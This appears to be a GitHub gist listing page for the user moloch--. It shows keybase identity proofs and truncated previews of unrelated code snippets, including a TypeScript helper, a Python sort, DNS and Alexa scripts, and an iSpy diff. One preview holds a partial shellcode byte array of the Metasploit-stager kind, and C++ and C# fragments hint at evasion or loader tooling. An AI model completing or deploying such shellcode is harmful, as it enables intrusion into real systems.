I hereby claim:
- I am moloch-- on github.
- I am moloch (https://keybase.io/moloch) on keybase.
- I have a public key whose fingerprint is 9447 86C1 3B4C 5A63 B46A 3A1B E3A5 ACEE 3DA0 983C
To claim this, I am signing this object:
private _compareArrays(a: Array<any>, b: Array<any>) { | |
if (a.length !== b.length) { | |
return false; | |
} else { | |
for (let index = 0; index < a.length; ++index) { | |
if (a[index] !== b[index]) { | |
return false; | |
} | |
} | |
} |
#include <string> | |
#include <tlhelp32.h> | |
#include <TCHAR.H> | |
#include <dir.h> | |
using namespace std; | |
int detected = 0; | |
DWORD GetModulePath(HINSTANCE hInst,LPTSTR pszBuffer,DWORD dwSize) |
using System; | |
using System.IO; | |
using System.Net; | |
using System.Text; | |
using System.IO.Compression; | |
using System.Collections.Generic; | |
using System.Configuration.Install; | |
using System.Runtime.InteropServices; | |
I hereby claim:
To claim this, I am signing this object:
diff --git a/iSpy.web.xm b/iSpy.web.xm | |
index 1766687..9fa5bbd 100644 | |
--- a/iSpy.web.xm | |
+++ b/iSpy.web.xm | |
@@ -193,7 +193,7 @@ static dispatch_queue_t wsQueue = dispatch_queue_create(WS_QUEUE, NULL); | |
// Requires C linkage for the msgSend stuff. | |
extern "C" { | |
void bf_websocket_write(const char *msg) { | |
- static iSpyWebSocket *syncSocket = [[[iSpy sharedInstance] webServer] iSpyWebSocket]; // static for speed/cache | |
+ static iSpyHTTPServer *httpServer = [[[iSpy sharedInstance] webServer] httpServer]; // static for speed/cache |
data = { | |
'foo': ['a', 'b', 'c'], | |
'bar:': ['a','b'], | |
'foobar': ['a','b','c','d','e'] | |
} | |
ordered = sorted([item for item in data.iteritems()], key=lambda item: len(item[1])) | |
print ordered |
unsigned char buf[] = | |
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" | |
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" | |
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" | |
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" | |
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" | |
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" | |
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" | |
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" | |
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" |
#!/usr/bin/env python | |
import urllib2 | |
from zipfile import ZipFile | |
from cStringIO import StringIO | |
ALEXA_URL = "http://s3.amazonaws.com/alexa-static/top-1m.csv.zip" | |
response = urllib2.urlopen(ALEXA_URL) |
### Keybase proof | |
I hereby claim: | |
* I am moloch-- on github. | |
* I am moloch (https://keybase.io/moloch) on keybase. | |
* I have a public key whose fingerprint is 574D 9EA2 08DA 8C14 E512 8879 C328 AD28 785B D9CD | |
To claim this, I am signing this object: |
#!/usr/bin/env python | |
import dns.resolver | |
import dns.name | |
#import netaddr | |
from urlparse import urlparse | |
INFO = "\033[1m\033[36m[*]\033[0m " |